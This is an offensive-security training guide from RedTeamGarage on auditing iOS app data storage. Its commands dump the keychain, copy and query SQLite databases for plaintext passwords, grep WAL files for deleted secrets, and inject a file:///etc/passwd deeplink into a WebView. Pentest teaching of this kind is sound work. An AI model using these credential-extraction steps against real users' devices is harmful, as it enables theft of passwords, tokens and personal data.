



◆ OFFENSIVE SECURITY SERIES ◆

iOS DATA STORAGE & RUNTIME

Keychain Audit, Core Data, File Protection & Swift Hooking

Keychain · Core Data · NSUserDefaults · File Protection · Swift Hook · Binary

Keychain Dump

Core Data

NSUserDefaults

File Protection

Deeplinks

Swift Hook

Binary

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

iOS DATA STORAGE & RUNTIME — Keychain Audit, Core Data, File Protection & Swift Hooking

01.	KEYCHAIN FULL DUMP & ACCESSIBILITY AUDIT
02.	iOS CORE DATA / SQLITE ANALYSIS
03.	FILE PROTECTION + BINARY PROTECTIONS + SWIFT
04.	iOS DATA STORAGE CHEAT SHEET



01 — KEYCHAIN ASSESSMENT

Full Dump + Accessibility Levels

```
Keychain Full Dump – Accessibility Audit

# Full keychain assessment via objection
(kali)-[~]
kali $ objection -g com.target.bankingapp explore
(kali)-[~]
kali $ ios keychain dump --json keychain_dump.json
[*] Dumping keychain items...
[*] Saved 8 keychain items to keychain_dump.json
(kali)-[~]
kali $ cat keychain_dump.json | python3 -m json.tool
{
  "data": [
    {"account": "john.doe@target.com", "service": "com.target.bankingapp", "data": "BankPass2024!", "accessible": "kSecAttrAccessibleAlways"},
    {"account": "auth_token", "service": "com.target.bankingapp", "data": "eyJhbGciOiJIUzI1NiJ9...", "accessible": "kSecAttrAccessibleAlways"},
    {"account": "pin", "service": "com.target.bankingapp", "data": "1234", "accessible": "kSecAttrAccessibleWhenUnlocked"}
  ]
}
# kSecAttrAccessibleAlways = accessible even when device LOCKED!
```

Figure: 2 keychain items use `kSecAttrAccessibleAlways` — password and token accessible when locked



02 — CORE DATA & SQLITE

Database Extraction & Analysis

```
iOS Core Data / SQLite Analysis

# Find and analyse SQLite databases in app container
(kali)-[~]
kali $ ssh -p 2222 root@localhost "find /var/mobile/Containers/Data/Application/ -name '*.sqlite' 2>/dev/null | grep target"
/var/mobile/Containers/Data/Application/A1B2C3D4-1234-ABCD-5678-EF9012345678/Documents/BankingApp.sqlite
(kali)-[~]
kali $ scp -P 2222 root@localhost:"/var/mobile/Containers/Data/Application/A1B2C3D4-1234-ABCD-5678-EF9012345678/Documents/BankingApp.sqlite" .
BankingApp.sqlite                                100% 64KB   6.4MB/s   00:00
(kali)-[~]
kali $ sqlite3 BankingApp.sqlite ".tables"
ZACCOUNTS  ZTRANSACTIONS  ZUSERS  ZSESSIONS
(kali)-[~]
kali $ sqlite3 BankingApp.sqlite "SELECT ZUSERNAME, ZPASSWORD, ZBALANCE, ZACCOUNTNUMBER FROM ZUSERS;"
john.doe@target.com|BankPass2024!|15230.5|ACC-12345678
admin@target.com|AdminPess!|999999.99|ACC-00000001
# Check WAL file – may contain recently deleted data
(kali)-[~]
kali $ strings BankingApp.sqlite-wal | grep -iE "password|token|ssn"
OldPassword2023!
123-45-6789
```

Figure: Core Data SQLite stores plaintext passwords, WAL file reveals deleted previous password



03 — FILE PROTECTION & BINARY

Protection Classes + Swift Hooks

```
File Protection + URL Schemes + Binary Checks

# Check file protection classes on sensitive files
(kali)-[~]
kali $ ssh -p 2222 root@localhost
(kali)-[~]
kali $ ls -la /var/mobile/Containers/Data/Application/A1B2C3D4-*/Documents/
-rw-r--r--  1 mobile mobile   65536 Jan 15 09:30 BankingApp.sqlite
-rw-r--r--  1 mobile mobile    4096 Jan 15 09:30 user_config.plist

# Check URL scheme deeplink security
(kali)-[~]
kali $ xcrun simctl openurl booted "banking://webview?url=file:///etc/passwd"
[*] Opening URL: banking://webview?url=file:///etc/passwd

# Binary protections check
(kali)-[~]
kali $ otool -hv ipa_extracted/Payload/BankingApp.app/BankingApp | grep -E "PIE|MH"
MH_EXECUTE MH_DYLDLINK MH_TWOLEVEL MH_PIE

(kali)-[~]
kali $ otool -Iv ipa_extracted/Payload/BankingApp.app/BankingApp | grep stack_chk | wc -l
47

# Swift symbols for hooking
(kali)-[~]
kali $ nm ipa_extracted/Payload/BankingApp.app/BankingApp | grep -i "password\|auth\|crypto" | head -8
0000000100012abc T _$s10BankingApp11AuthManagerC8validatePIN_ySS_tF
0000000100015def T _$s10BankingApp11AuthManagerC13authenticateUser_pass_ySS_SStF
```

Figure: ASLR + canaries enabled, deeplink passes untrusted URL to WebView, Swift symbols found



04 — CHEAT SHEET

Quick Reference

Keychain dump	<code>ios keychain dump --json dump.json (objection)</code>
Keychain insecure items	<code>kSecAttrAccessibleAlways = accessible when locked = CRITICAL FINDING</code>
iCloud sync risk	<code>kSecAttrSynchronizable = YES → items sync to iCloud = FINDING</code>
Find SQLite	<code>find /var/mobile/Containers/Data/Application/GUID -name "*.sqlite" -o -name "*.db"</code>
Copy SQLite	<code>scp -P 2222 root@localhost:/path/to/app.sqlite .</code>
SQLite tables	<code>sqlite3 app.sqlite ".tables"</code>
Core Data tables	Prefixed with Z (e.g. ZUSERS, ZACCOUNTS)
WAL analysis	<code>strings app.sqlite-wal grep -iE "password token ssn" – may have deleted data</code>
NSUserDefaults dump	<code>ios nsuserdefaults get all (objection)</code>
Plist files	<code>cat /var/mobile/Containers/.../Library/Preferences/com.pkg.plist</code>
Check ASLR	<code>otool -hv BinaryName grep PIE (MH_PIE = enabled)</code>
Check canaries	<code>otool -Iv BinaryName grep stack_chk (count > 0)</code>
Check symbols stripped	<code>file BinaryName grep stripped (should be stripped in prod)</code>
Deeplink test	<code>xcrun simctl openurl booted "target://path?param=injected"</code>
Universal links AASA	<code>curl https://target.com/.well-known/apple-app-site-association</code>
Swift symbols	<code>nm BinaryName grep swift grep -i "password\ auth"</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.